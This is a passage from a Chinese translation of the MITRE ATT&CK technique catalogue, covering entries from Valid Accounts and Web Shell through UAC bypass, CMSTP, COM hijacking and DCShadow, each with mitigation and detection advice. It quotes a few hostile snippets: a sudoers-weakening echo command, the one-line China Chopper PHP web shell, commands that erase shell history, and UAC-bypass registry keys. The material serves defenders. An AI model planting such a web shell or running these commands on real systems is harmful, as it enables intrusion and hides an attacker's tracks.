OSX 质子恶意软件已禁用 `tty_ticket`，通过发出 `echo \'Defaults !tty_tickets\' >> /etc/sudoers`，使脚本编写更加容易。为了反映此更改，质子恶意软件还必须发出 `killall Terminal`。截至 macOS Sierra，sudoers 文件默认启用 `tty_ticket`。

## 缓解

| 缓解方法 | 说明 |
|---|---|
| 操作系统配置 | 同样，确保启用 `tty_ticket` 设置将防止跨 tty 会话的这种泄漏。 |
| 特权账户管理 | 设置 `timestamp_timeout` 到 0 ，要求用户每次执行 `sudo` 时输入其密码。 |

检测

此技术滥用 macOS 和 Linux 系统中的正常功能，但 sudo 能够基于`/etc/sudoers`文件中的`LOG_INPUT`和`LOG_OUTPUT`指令记录所有输入和输出.

# 4.27 有效账号

编号：T1078

技术：防御逃逸，持久化，权限升级，初始访问

平台：Linux，macOS，Windows

所需权限：用户，管理员

有效权限：用户，管理员

数据源：认证日志，进程监控

绕过的防御：防火墙，主机入侵防御系统，网络入侵检测系统，进程白名单，系统访问控制，防病毒

CAPEC 编号：CAPEC-560

贡献者：Mark Wee，Praetorian

版本：1.1

攻击者可能会使用凭据访问技术窃取特定用户或服务账号的凭据，或者在侦察过程的早期通过社会工程捕获凭据以获得首次访问权限。

攻击者可以使用三种账号：默认账号、本地账号和域账号。默认账号是操作系统的内置账号，例如 Windows 系统上的访客或管理员账号，或者其他类型系统、软件或设备上的默认工厂/提供商账号。本地账号是组织配置给用户、远程支持或服务的账号，或单个系统/服务的管理账号。域账号是 AD-DS（活动目录域服务）管理的账号，其访问和权限在域内不同系统和服务之间配置。域账号可以涵盖用户、管理员和服务。

攻击者可以使用窃取的凭据绕过网络内系统上各种资源的访问控制，甚至可用于对远程系统和外部可用服务（如 VPN、Outlook Web Access 和远程桌面）的持久访问。攻击者还可能通过窃取的凭据获得特定系统的更多权限或网络受限区域的访问权限。攻击者可以选择不将恶意软件或工具与这些凭据提供的合法访问结合使用，这样就更难检测到它们的存在。

默认账号并不限于客户端机器上的访客和管理员，它们还包括为设备（如网络设备和计算机应用）预设的账号，无论这些设备是内部的、开源的还是 COTS。如果设备预设了用户名和密码组合而且安装后不更改，将会对组织构成严重威胁，因为它们很容易成为攻击者的目标。同理，攻击者也可能会利用公开披露的私钥或盗取的私钥通过远程服务合法地连接到远程环境。

我们需要关注跨系统网络的账号访问、凭据和权限的重叠，因为攻击者也许能够跨账号和系统切换以获得较高的访问级别（域或企业管理员），从而绕过企业内设置的访问控制。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 密码策略 | 应用及设备的默认用户名和密码应在安装后和部署到生产环境之前立即更改。如果可能，应该定期更新使用 SSH 密钥的应用，并对其进行适当的保护。确保本地管理员账号在网络上所有系统中有复杂且唯一的密码。 |
| 特权账号管理 | 定期审核域账号和本地账号及他们的权限级别，查看是否有允许攻击者通过获取特权账号凭据从而获得广泛访问权限的情况。这些审核还应包括是否启用了默认账号，或者是否创建了新的未经授权的本地账号。不要将用户或管理域账号放在不同系统的本地管理员组中，除非它们受到严格控制并且是分开使用的，因为这通常相当于这些系统上都有一个相同密码的本地管理员账号。遵循企业网络设计和管理最佳实践，限制跨管理层使用特权账号。限制跨系统的凭据重叠以防止攻击者获取账号凭据用来访问。 |

检测

在整个企业中为外部可访问的服务配置可靠、一致的账号活动审核策略。查看是否有跨系统的可疑的共享账号（用户、管理员或服务账号）行为。例如：一个账号同时登录到多个系统；多个账号同时登录到同一台机器；在反常时间或工作时间以外登录的账号。账号活动可能来自交互式登录会话，也可能来自在远程系统上执行二进制文件的特定帐户的进程。将其他安全系统与登录信息关联（例如，用户有活动的登录会话，但尚未进入建筑物或没有访问 VPN）。

定期审核域账号和本地系统账号来查看是否有攻击者为持久性所创建的账号。账号审核还可以包括检查是否激活了默认账号（如访客）。审核还应包括检查所有设备和应用的默认凭据或 SSH 密钥。一旦发现，应立即更新。

# 4.28 Web 命令执行环境

编号：T1100

技术：持久化，权限升级

平台：Linux，Windows，macOS

系统要求：攻击者通过漏洞或账号访问 web 服务器，上传和提供 web shell 文件

有效权限：系统，用户

数据源：防病毒，认证日志，文件监控，Netflow/Enclave 技术网络流分析，进程监控

版本：1.0

Web shell 是 web 脚本，放置在可公开访问的 web 服务器上。攻击者可能会将 web 服务器用作网关。Web shell 可以在承载 web 服务器的系统上提供一组待执行的函数或命令行界面。除了服务器端脚本之外，web shell 可能还有一个客户端接口程序，用于与 web 服务器通信（例如，参见 China Chopper Web shell 客户端）。

如果攻击者的主要访问方式被发现并移除，攻击者可能会使用 web shell 作为冗余访问或持久性机制。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特权账号管理 | 审核账号和组权限，确保用于管理服务器的账号与内部网络中具有以下特征的用户账号和权限不重叠：账号和权限可以通过凭据访问获取，用于登录到 web 服务器并构建 web shell 或者从 web 服务器进入内部网络。 |
| 软件升级 | 确保定期对面向外部的 web 服务器打补丁，防止攻击者利用权限升级获取远程代码访问权限或利用文件包含缺陷上传文件或脚本用作 web 网页。 |

### 检测

Web shell 很难检测到。与其他形式的持久远程访问不同，它们不会发起连接。服务器上的 web shell 部分可能很小，看起来无害。例如，China Chopper Web shell PHP 版本中的小负载：

```
<?php @eval($_POST['password']);>
```

不管怎样，检测机制还是存在的。可通过进程监控来检测执行可疑操作（如运行 cmd 或访问不在 web 目录中的文件）的 web 服务器。可通过文件监控来检测 web 服务器的 web 目录中与 web 服务器内容更新不匹配且可能表示已有 web shell 脚本植入的文件更改。还可监控针对 web 服务器的日志认证尝试，以及由 web 服务器或内部网络发起或接收的异常流量模式。

# 5. 防御逃逸

## 5.1 访问令牌操纵

编号：T1134

技术：防御逃逸，权限升级

平台：Windows

所需权限：用户，管理员

有效权限：系统

数据源：API 监控，访问令牌，进程监控，进程命令行参数

贡献者：Tom Ueltschi @c_APT_ure；Travis Smith，Tripwire；Robby Winchester，@robwinchester3；Jared Atkinson，@jaredcatkinson

版本：1.0

Windows 使用访问令牌来确定运行中进程的所有权。用户可以操纵访问令牌，使运行中的进程看起来好像属于其他人，而不是启动该进程的用户。发生这种情况时，进程也还接受与新令牌关联的安全上下文。例如，微软提倡使用访问令牌作为最佳安全实践。管理员应以标准用户身份登录，但使用内置的访问令牌操控命令 `runas` 以管理员权限运行工具。

攻击者可能会使用访问令牌在不同的用户或系统安全上下文下执行操作并逃避检测。攻击者可能会使用内置的 Windows API 函数从现有进程复制访问令牌；这也即称为令牌窃取。攻击者窃取令牌之前必须已经处于特权用户上下文（即管理员）中。攻击者通常通过令牌窃取将其安全上下文从管理员级别提升到系统级别。他们可能会使用令牌向远程系统请求身份验证为该令牌的账号（如果该账号对远程系统具有适当的权限）。

**攻击者可以通过三种方式利用访问令牌：**

令牌模拟/盗窃-攻击者使用 `DuplicateToken(Ex)` 复制现有令牌，创建新的访问令牌。然后，该令牌可以与 `ImpersonateLoggedOnUser` 一起使用以允许调用线程模拟登录用户的安全上下文，或者与 `SetThreadToken` 一起使用将模拟令牌分配给线程。目标用户在系统上有非网络登录会话时，这个方法非常有用。

使用令牌创建进程-攻击者使用 `DuplicateToken(Ex)` 创建新的访问令牌，并将其与 `CreateProcessWithTokenW` 一起使用，创建在模拟用户的安全上下文下运行的新进程。这个方法对于在不同用户的安全上下文中创建新进程非常有用。

生成并模拟令牌-攻击者有用户名和密码，但尚未登录到系统。攻击者可以使用 `LogonUser` 函数为用户创建登录会话。函数会返回新会话访问令牌的副本。攻击者可以使用 `SetThreadToken` 将令牌分配给线程。

任何标准用户都可以使用 `runas` 命令和 Windows API 函数来创建模拟令牌；使用此命令时不需要访问管理员账号。

Metasploit 的 Meterpreter 负载允许任意的令牌操控，并通过令牌模拟来提升权限。Cobalt Strike beacon 负载允许任意令牌模拟，也可以创建令牌。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特权账号管理 | 限制权限，使得用户和用户组无法创建令牌。应仅为本地系统账号做此设置。GPO 路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 > 用户权限分配：创建令牌对象。<br>还可以定义哪些人可以仅为本地和网络服务创建进程级令牌。GPO 路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 >用户权限分配：替换进程级令牌。 |
| 用户账号管理 | 攻击者必须已经在本地系统上具有管理员级别的访问权限才能充分利用此技术。请确保将用户和账号限制在其所需的最低权限范围内。 |

检测

如果攻击者使用标准命令行 shell，分析人员可以审核命令行活动来检测令牌操纵情况。具体来说，分析人员应该检测 `runas` 命令的使用。在 Windows 系统中，默认情况下不启用详细的命令行日志记录功能。

如果攻击者使用的是直接调用 Windows 令牌 API 的有效负载，那么分析人员只能通过仔细分析用户网络活动、检查正在运行的进程以及分析与其他端点和网络行为的相关性来检测令牌操纵情况。

有效负载可以利用多种 Windows API 调用来操纵访问令牌，比如 `LogonUser`，`DuplicateTokenEx` 和 `ImpersonateLoggedOnUser` 。详细信息，请参阅参考的 Windows API 页。

查询系统中的进程和线程令牌信息，并查找不一致情况，例如用户拥有模拟本地系统账号的进程。

# 5.2 二进制填充

编号： T1009

技术： 防御逃逸

平台： Linux, macOS, Windows

数据源：二进制文件元数据，文件监控，恶意代码逆向工程

绕过的防御: 基于签名的检测，防病毒

CAPEC 编号: CAPEC-572

版本： 1.0

某些安全工具使用静态签名检查文件，以确定这些文件是否已知为恶意文件。攻击者可能会向文件添加数据，以超出安全工具能够处理的大小，或者更改文件哈希以避免基于哈希的黑名单。

缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用。

检测

根据用于填充文件的方法，基于文件的签名可能能够使用扫描或基于访问的工具检测填充。

执行时，填充文件生成的过程也可能表现出用于进行入侵的其他行为特征，例如系统和网络信息发现或横向移动，这些特征可用作指向源文件。

# 5.3 BITS 作业

编号：T1197

技术：防御逃逸，持久化

平台：Windows

所需权限：用户，管理员，系统

数据源：API 监控，网络抓包，Windows 事件日志

绕过的防御：防火墙，主机取证分析

贡献者：Ricardo Dias；Red Canary

版本：1.0

Windows BITS（后台智能传输服务）是一种通过 COM（组件对象模型）公开的低带宽异步文件传输机制。BITS 通常由更新程序、消息程序和其他希望在后台运行（使用可用空闲带宽）而不中断其他网络应用的程序使用。文件传输任务被实现为 BITS 作业，其中包含一个或多个文件操作队列。

可以通过 PowerShell 和 BITSAdmin 工具访问 BITS 作业创建和管理接口。

攻击者可能会在运行恶意代码后滥用 BITS 来实现下载、执行甚至清理动作。BITS 任务包含在 BITS 作业数据库中，不需创建新文件或修改注册表，且通常是主机防火墙允许的。启用 BITS 的执行还可以通过创建长期作业（默认最大生命周期为 90 天且可延长）或在作业完成或出现错误（包括系统重启后的错误）时调用任意程序来允许持久性。

BITS 上传功能也可用于执行 Exfiltration Over Alternative Protocol。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络流量过滤 | 修改网络和/或主机防火墙规则以及其他网络控制，仅允许合法的 BITS 流量。 |
| 操作系统配置 | 考虑缩短组策略中的默认 BITS 作业生命周期，或者编辑 `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS` 中的 `JobInactivityTimeout` 和 `MaxDownloadTime` 注册表值。 |
| 用户账号管理 | 考虑限制特定用户或组对 BITS 接口的访问。 |

检测

BITS 作为服务运行。可使用 Sc 查询实用程序（`sc query bits`）来检查其状态。可使用 BITSAdmin 工具（`bitsadmin /list /allusers /verbose`）枚举活跃的 BITS 任务。

监控 BITSAdmin 工具（尤其是 Transfer，Create，AddFile，SetNotifyFlags，SetNotifyCmdLine，SetMinRetryDelay，SetCustomHeaders 和 Resume 命令选项）的使用及 Windows 事件日志来查看 BITS 活动。还要考虑通过解析 BITS 作业数据库来调查作业相关的更多详细信息。

监控和分析 BITS 生成的网络活动。BITS 作业使用 HTTP（S）和 SMB 进行远程连接，仅限于创建用户，并且仅在该用户登录时才起作用（即使用户将作业附加到服务账号，此规则也适用）。

# 5.4 UAC 绕过

编码：T1088

技术：防御逃逸，权限升级

平台：Windows

所需权限：用户，管理员

有效权限：管理员

数据源：系统调用，进程监控，认证日志，进程命令行参数

绕过的防御：Windows 用户账号控制

贡献者：Stefan Kanthak；Casey Smith

| 版本：1.0 |
| --- |

Windows UAC（用户账号控制）允许程序通过提示用户进行确认来提升权限以便其以管理员级别权限执行任务。对用户的影响范围由高强制下拒绝操作到允许本地管理员群组中的用户执行操作并单击提示或允许用户输入管理员密码来完成操作。

如果计算机的 UAC 保护级别设置为最高级别以外的任何级别，则允许某些 Windows 程序提升权限或执行某些已提升的 COM 对象，无需使用 UAC 通知框提示用户。例如，使用 rundll32.exe 加载一个特制的动态链接库（该动态链接库加载一个自动提升的 COM 对象），并在通常需要提升访问权限的受保护目录中执行文件操作。恶意软件也可能在不提示用户的情况下被注入到受信任的进程中来提升权限。如果目标进程不受保护，则攻击者可以使用这些技术将权限提升到管理员级别。

已经发现许多绕过 UAC 的方法。UACMe 相关的 Github readme 页面包含一张大清单，列出了许多 UACMe 中发现和实现的方法，但该清单可能并不完整。经常也会发现其他的旁路方法，有的甚至是些旁门左道的方法，例如：

- eventvwr.exe 可以自动提升和执行指定的二进制或脚本。

如果已知具有管理员权限的账号凭据，则可能会有其它通过横向移动技术来绕过 UAC 的方法，因为 UAC 是一个单一的系统安全机制，一个系统上运行的进程的权限或完整性在横向系统上是未知的而且默认为高完整性。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 审核 | 检查 Windows 系统上常见的 UAC 旁路漏洞，了解风险状况，并适时解决问题。 |
| 特权账号管理 | 从系统上的本地管理员群组中删除用户。 |
| 用户账号控制 | 尽管存在 UAC 旁路技术，在可能的情况下对 UAC 使用最高强制级别并且减少需使用动态链接库搜索顺序劫持等技术的旁路机会还是很明智的。 |

检测

当用户在系统的本地管理员群组中时，有许多方法可以绕过 UAC，因此可能很难针对所有变数来做检测。应努力减轻影响，收集足够的 UAC 旁路前后的进程启动和行动信息。监控进程 API 调用来查看是否有进程注入以及通过动态链接库搜索顺序劫持技术异常加载动态链接库的行为（这些异常行为旨在获取更高权限来访问进程）。

一些 UAC 旁路方法依赖于修改特定的、用户可访问的注册表设置。例如：

- `eventvwr.exe` 旁路使用注册表项 `[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command`。

- `sdclt.exe` 旁路使用注册表项 `[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` 和 `[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand`。

分析人员应监控这些注册表设置，防止未经授权的更改。

# 5.5 清除命令历史

编号：T1146

技术：防御逃逸

平台：Linux，macOS

所需权限：用户

数据源：认证日志，文件监控

绕过的防御：日志分析，主机取证分析

版本：1.0

MacOS 和 Linux 都会跟踪用户在终端中键入的命令，这样用户就可以很容易记住他们所做的事情。这些日志可以通过几种不同的方式访问。登录后，此命令历史在环境变量 `HISTFILE` 指向的文件中跟踪。用户退出系统时，此信息将刷新到用户家目录`~/.bash_history` 下的文件中。这样做的好处是，用户可以返回到以前在不同会话中使用过的命令。命令行中键入的所有内容都被保存。同样地，在命令行中传入的密码也会被保存。攻击者可能会在这些文件中搜索明文密码来实施攻击。此外，攻击者可能会想方设法来防止自己使用的命令出现在这些日志中，例如 `unset HISTFILE`,`export HISTFILESIZE=0`,`history -c`,`rm ~/.bash_history`。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 环境变量权限 | 将关联的环境变量设置为只读可以确保保留历史记录。 |
| 文件和目录权限限制 | 阻止用户删除或写入某些文件，防止攻击者恶意更改他们的 `~/.bash_history` 文件。 |

## 检测

用户身份认证时，尤其是通过 SSH 这样的远程终端服务来做身份认证时，用户的 `~/.bash_history` 目录里没有新条目是可疑的。此外，修改环境变量 HISTFILE 和 HISTFILESIZE 或删除/清除`~/.bash_history` 文件都可能表示有可疑活动发生。

# 5.6 CMSTP

编号：T1191

技术：防御逃逸，执行

平台：Windows

所需权限：用户

数据源：进程监控，进程命令行参数，网络进程使用，Windows 事件日志

是否支持远程：否

绕过的防御：应用白名单，防病毒

贡献者：Ye Yint Min Thu Htut，Offensive Security Team，DBS Bank；Nik Seetharaman，Palantir

版本：1.0

微软的命令行程序 CMSTP.exe 用于安装连接管理器服务配置文件。CMSTP.exe 将收到的安装信息文件（INF）作为参数，安装用于远程访问连接的服务配置文件。

攻击者可能会向 CMSTP.exe 提供带恶意命令的 INF 文件。与 Regsvr32/ "Squiblydoo"类似，CMSTP.exe 可能被滥用来从远程服务器加载和执行动态链接库和/或 COM 脚本小程序。攻击者还可能用 CMSTP.exe 来绕过 AppLocker 及其他白名单防御，因为 CMSTP.exe 本身是一个合法的、已签名的微软应用。

CMSTP.exe 也可能被滥用来绕过用户账号控制并通过自动升级的 COM 接口执行 INF 文件中的任意恶意命令。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 CMSTP.exe（除非用其安装 VPN 连接）。 |
| 执行预防 | 如果给定的系统或网络不需要 CMSTP.exe，考虑使用应用白名单来防止攻击者滥用它。 |

## 检测

通过进程监控来检测和分析 CMSTP.exe 的执行和参数。将 CMSTP.exe 的最近调用与已知恰当参数及已加载文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。

可通过 Sysmon 事件来查看是否有 CMSTP.exe 的滥用情况。检测策略可能取决于具体的攻击程序。规则如下：

- 检测本地/远程有效负载的加载和执行—事件 1（进程创建）和/或事件 3（网络连接）。事件 1 中，ParentImage 包含 CMSTP.exe；事件 3 中，Image 包含 CMSTP.exe，DestinationIP 是外部的。

- 通过自动升级的 COM 接口检测用户账号控制绕过行为—事件 10（ProcessAccess）和/或事件 12 或 13（RegistryEvent）。事件 10 中，CallTrace 包含 CMLUA.dll。事件 12 或 13 中，TargetObject 包含 CMMGR32.exe。另外还监控事件，例如进程创建事件（Sysmon 事件 1），此事件涉及自动升级的 CMSTP COM 接口，如 CMSTPLUA（3E5FC7F9-9A51-4367-9063-A120244FBEC7 ） 和 CMLUAUTIL （ 3E000D72-A845-4CD9-BD83-80C07C3B881F）。

# 5.7 代码签名

编号：T1116

技术：防御逃逸

平台：macOS，Windows

数据源：二进制文件元数据

绕过的防御：Windows 用户账号控制

版本：1.0

代码签名给开发人员的二进制文件提供了真实性级别，它是二进制文件未被篡改的保证。然而，众所周知，攻击者会使用代码签名证书将恶意软件和工具伪装为合法的二进制文件。操作中使用的证书可能是由攻击者制作、伪造或窃取的。时下的 Windows 和 MacOS/OS X 系统可以在软件首次运行时验证其代码签名。由于平台的分散性特征，Linux 系统没有此功能。

代码签名证书可用于绕过要求在系统上执行签名代码的安全策略。

## 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

## 检测

收集并分析环境中执行的软件上的签名证书元数据，查找异常证书特征和异常值。

# 5.8 交付后编译

编号： T1500

技术： 防御逃逸

平台：Linux, macOS, Windows

系统要求：编译器软件（原产于系统或由攻击者交付）

所需权限：用户

| |
|---|
| 数据源：进程命令行参数，进程监控，文件监控 |
| 绕过的防御: 静态文件分析、二进制分析、防病毒、主机入侵防御系统、基于签名的检测 |
| 贡献者: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank; Praetorian |
| 版本： 1.0 |

攻击者可能会尝试通过将文件作为未编译的代码交付给受害者，使有效负载难以发现和分析。与模糊文件或信息类似，基于文本的源代码文件可能会破坏针对可执行文件/二进制文件的保护的分析和审查。这些负载需要在执行之前进行编译；通常通过本机实用程序，如 csc.exe 或 GCC/MinGW。

源代码负载也可以加密、编码和/或嵌入到其他文件中，例如作为 Spearphish 附件提供的文件。有效负载也可以以无法识别的格式交付给本机操作系统（例如：macOS/Linux 上的 EXE），然后再（重新）编译为具有捆绑编译器和执行框架的正确可执行二进制文件。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用.

### 检测

监控常见编译器（如 csc.exe 和 GCC/MinGW）的执行文件路径和命令行参数，并与其他可疑行为关联，以减少正常用户和管理员行为的误报。有效负载的编译还可以生成文件创建和/或文件写入事件。查找非本机二进制格式和跨平台编译器和执行框架（如 Mono），并确定它们在系统上是否有合法用途。通常，这些应仅在特定和有限的情况下使用，例如软件开发。

## 5.9 HTML 编译文件

| |
|---|
| 编号: T1223 |
| 技术： 防御逃逸，执行 |
| 平台： Windows |
| 所需权限： 用户 |
| 数据源： 文件监控，进程监控，进程命令行参数 |
| 支持远程：否 |
| 绕过的防护：应用白名单，数字证书验证 |
| 贡献者： Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International |
| 版本： 1.1 |

编译过的 HTML 文件(.chm)通常作为微软帮助文档分发。CHM 文件通常压缩编译了多种文件，如 HTML 文档、图片以及程序脚本如 VBA、JScript、Java、ActiveX。CHM 的内容通过 HTML 帮助程序(hh.exe)[3]调用 IE 浏览器的底层组件显示。

恶意程序可以利用这一技术隐藏恶意代码。一个嵌有 payload 的私有 CHM 文件被受害者接收并被执行触发。CHM 执行在一些老的和未打补丁包的系统上可能绕过应用白名单机制，因为这些系统未将通过 hh.exe 加载执行的应用程序加入应用白名单的审计。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 禁止执行 | 考虑在某些系统或网络在非必要情况下通过应用白名单禁止 hh.exe 的执行以杜绝潜在的被恶意程序利用的风险。 |
| 限制来自网络的内容 | 考虑禁止下载/传输以及执行一些不常见的文件类型如 CHM，此类文件已知会被一些恶意程序利用 |

检测

监控并分析 hh.exe 的执行以及它的参数。将近期的调用和历史的合法参数做对比以发现异常的和潜在恶意的动作（如：混淆的以及恶意的命令）。非标准的进程调用树也意味着有嫌疑的和恶意的行为，比如 hh.exe 是某些恶意进程的父进程，或是一些行为是已知的恶意行为。监控 CHM 文件的状态及使用情况，特别是当它们不是环境中的常见文件时尤其当心。

# 5.10 组件固件

编号: T1109

技术： 防御逃逸，持久化

平台： Windows

系统要求: 能够从主机操作系统更新组件固件。

所需权限： 系统

数据源： 磁盘取证，API 监控，进程监控，组件固件

绕过的防御： 文件监控、主机入侵防御系统、杀毒软件

版本： 1.0

一些攻击者可能会使用复杂的方法来破坏计算机组件，并安装恶意固件，这些固件将在操作系统和主系统固件或 BIOS 之外执行攻击代码。此技术可能类似于系统固件，但在其他系统组件上执行时可能具备不同的完整性检查能力或级别。恶意设备固件既可以提供对系统的持

久访问，这会导致维护访问和硬盘重映像的典型故障，也可以提供逃避基于主机软件的防御和完整性检查的方法。

### 缓解

这种类型的攻击技术无法简单地通过预防性控制缓解，因为它基于系统特性的滥用。

### 检测

设备驱动程序使用的（比如进程和 api 调用）和/或 SMART（自监控、分析和报告技术）磁盘监控提供的数据和遥测可能会揭示组件的恶意操作。否则，由于恶意活动发生在系统组件上，可能超出操作系统安全性和完整性机制的权限，因此此技术可能难以检测。

磁盘检测工具可能会显示恶意固件的指标信息，例如字符串、意外的磁盘分区表条目，或者需要进一步调查的异常内存块。还可以考虑将组件（包括组件固件和行为的散列）与已知的良好镜像进行比较。

## 5.11 COM 劫持

编号：T1122

技术：防御逃逸，持久化

平台：Windows

所需权限：用户

数据源：Windows 注册表，动态链接库监控，已加载动态链接库

绕过的防御：Autoruns 分析

贡献者：ENDGAME

版本：1.0

COM（组件对象模型）是 Windows 中的一个系统，用于通过操作系统实现软件组件之间的交互。攻击者可能会使用此系统插入恶意代码，通过劫持 COM 引用和关系作为持久性手段来代替合法软件执行。劫持 COM 对象需要更改 Windows 注册表以替换对合法系统组件的引用，这可能导致该组件在执行时无法工作。当通过正常的系统操作执行该系统组件时，将执行的却是攻击者的代码。攻击者可能会劫持频繁使用的对象以保持一致的持久性，但不太可能破坏系统内的明显功能。破坏系统内明显功能会导致系统不稳定，会触发系统检测。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

有机会通过搜索已被替换的注册表引用和通过注册表操作将已知二进制路径替换为未知路径来检测 COM 劫持。即使某些第三方应用定义了用户 COM 对象，但 HKEY_CURRENT_USER\Software\Classes\CLSID\ 中存在对象可能是不正常的，应进行调查，因为用户对象将在 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\中的机器对象之前加载。现有 COM 对象的注册表项可能不经常更改。当具有已知良好路径和二进制文件的条目被替换或此条目值被更改为异常值来指向新位置中的未知二进制文件时，则可能表示有可疑行为并应进行调查。同样，如果收集并分析了软件动态链接库加载，则任何与 COM 对象注册表修改相关的异常动态链接库加载都可能表示已发生了 COM 劫持。

## 5.12 控制面板项目

编号：T1196

技术：防御逃逸，执行

平台：Windows

所需权限：用户，管理员，系统

数据源：API 监控，二进制文件元数据，动态链接库监控，Windows 注册表，Windows 事件日志，进程命令行参数，进程监控

是否支持远程：否

绕过的防御：应用白名单，进程白名单

版本：1.0

Windows 控制面板项目允许用户查看和调整计算机设置。控制面板项目是已注册的可执行（.exe）或控制面板（.cpl）文件，后者实际上是重命名的动态链接库（.dll）文件，用于导出 CPlApplet 函数。控制面板项目可以直接从命令行执行，通过调用 API（应用程序编程接口）以编程方式执行，或者只需双击文件即可执行。

为了便于使用，控制面板项目通常包括已注册和加载到控制面板、用户可用的图形菜单。

攻击者可以将控制面板项目用作有效负载来执行任意命令。他们可以通过鱼叉式钓鱼攻击附件提供恶意控制面板项目，也可以将它们作为多级恶意软件的一部分执行。控制面板项目，尤其是 CPL 文件，也可能绕过应用和/或文件扩展名白名单。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 在适当的情况下，使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略）来识别并阻止可能的恶意及未知.cpl 文件。 |
| 文件和目录权限限制 | 将控制面板项目的存储和执行限定给受保护的目录，例如 `C:\Windows`，而不是用户目录。 |

### 检测

监控和分析 CPL 文件相关项目的活动，例如 Windows 控制面板进程二进制文件（control.exe）以及 shell32.dll 中的 Control_RunDLL 和 ControlRunDLLAsUser API 函数。当从命令行执行或单击时，control.exe 将在 Rundll32 调用 CPL 的 API 函数（例如，`rundll32.exe shell32.dll,Control_RunDLL file.cpl`）之前执行 CPL 文件（例如，`control.exe file.cpl`）。可以通过 CPL API 函数直接执行 CPL 文件，只需使用后一个 Rundll32 命令，该命令可以绕过对 control.exe 的检测和/或执行过滤。

创建控制面板项目清单，用于定位系统上未注册和可能的恶意文件：

- 可执行格式、已注册的控制面板项目在 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace` 和 `HKEY_CLASSES_ROOT\CLSID{{GUID}}` 中有 GUID（全局唯一标识符）和注册表项。这些注册表项可能包含控制面板项目信息，例如其显示名称，本地文件路径以及在控制面板中打开时执行的命令。
- 控制面板自动显示存储在 System32 目录中的 CPL 格式、已注册的控制面板项目。其他控制面板项目在 `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel` 的 `Cpls` 和 `Extended Properties` 注册表项中有注册条目。这些条目可能包括 GUID，本地文件路径以及规范名称等信息。规范名称用于以编程方式（`WinExec("c:\windows\system32\control.exe {{Canonical_Name}}", SW_NORMAL);`）或命令行方式（`control.exe /name {{Canonical_Name}}`）启动文件。
- 某些控制面板项目可通过 `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder{{name}}\Shellex\PropertySheetHandlers` 中注册的 Shell 扩展进行扩展，其中{{name}}是系统项的预定义名称。

分析新的控制面板项目以及磁盘上的恶意内容相关项目。可执行和 CPL 格式都是兼容的 PE（可移植可执行）图像，可以使用传统工具和方法进行检查，待定的反逆向工程技术。

## 5.13 DCShadow

| |
|---|
| 编号： T1207 |
| 技术： 防御逃逸 |
| 平台： Windows |
| 所需权限： 管理员 |
| 数据源： API 监控，认证日志，网络协议分析，网络抓包 |
| 绕过的防御： 日志分析 |

| |
|---|
| 贡献者： Vincent Le Toux |
| 版本： 1.0 |

DCShadow 是一种通过注册（或重用非活动注册）和模拟域控制器 （DC） 的行为来操作活动目录 （AD） 数据（包括对象和架构）的方法。注册后，恶意 DC 可能能够将更改注入和复制到任何域对象的 AD 基础结构中，包括凭据和密钥。

注册恶意 DC 涉及在 AD 架构的配置分区中创建新服务器和 nTDSDSA 对象，这需要管理员权限（域或本地 DC）或 KRBTGT 哈希。

此技术可能会绕过系统日志记录和安全监视器，如安全信息和事件管理 （SIEM） 产品（因为对恶意 DC 执行的操作可能不会报告给这些传感器）。该技术还可用于更改和删除复制和其他关联的元数据，以阻碍取证分析。对手还可以利用此技术执行 SID-历史注入和/或操作 AD 对象（如帐户、访问控制列表、架构），以建立持久性的后门。

缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用。

检测

监视和分析与 DC 之间以及非 DC 主机之间的数据复制（例如对 DrsAddEntry，DrsReplicaAdd，尤其是 GetNCChanges 的调用）相关的网络流量。。DC 复制自然每 15 分钟发生一次，但可以由攻击者或合法的紧急更改（例如：密码）触发。还要考虑监控和警告 AD 对象的复制（审核详细目录服务复制事件 4928 和 4929）。

利用 AD 目录同步（DirSync）监控使用 AD 复制 cookie，对目录状态的更改。

基准并定期分析 AD 架构的配置分区，并在创建 nTDSDSA 对象时发出警报

调查 Kerberos 服务主体名称（SPN）的使用情况，特别是那些与 DC 组织单位（OU）中不存在的计算机相关的服务（以“GC /”开头）。可以在不记录的情况下设置与目录复制服务（DRS）远程协议接口（GUID E3514235-4B06-11D1-AB04-00C04FC2DCD2）关联的 SPN。恶意 DC 必须使用这两个 SPN 作为服务进行身份验证，才能成功完成复制过程。

# 5.14 文件或信息解混淆和解码

| |
|---|
| 编号：T1140 |
| 技术：防御逃逸 |
| 平台：Windows |
| 所需权限：用户 |
| 数据源：文件监控，进程监控，进程命令行参数 |

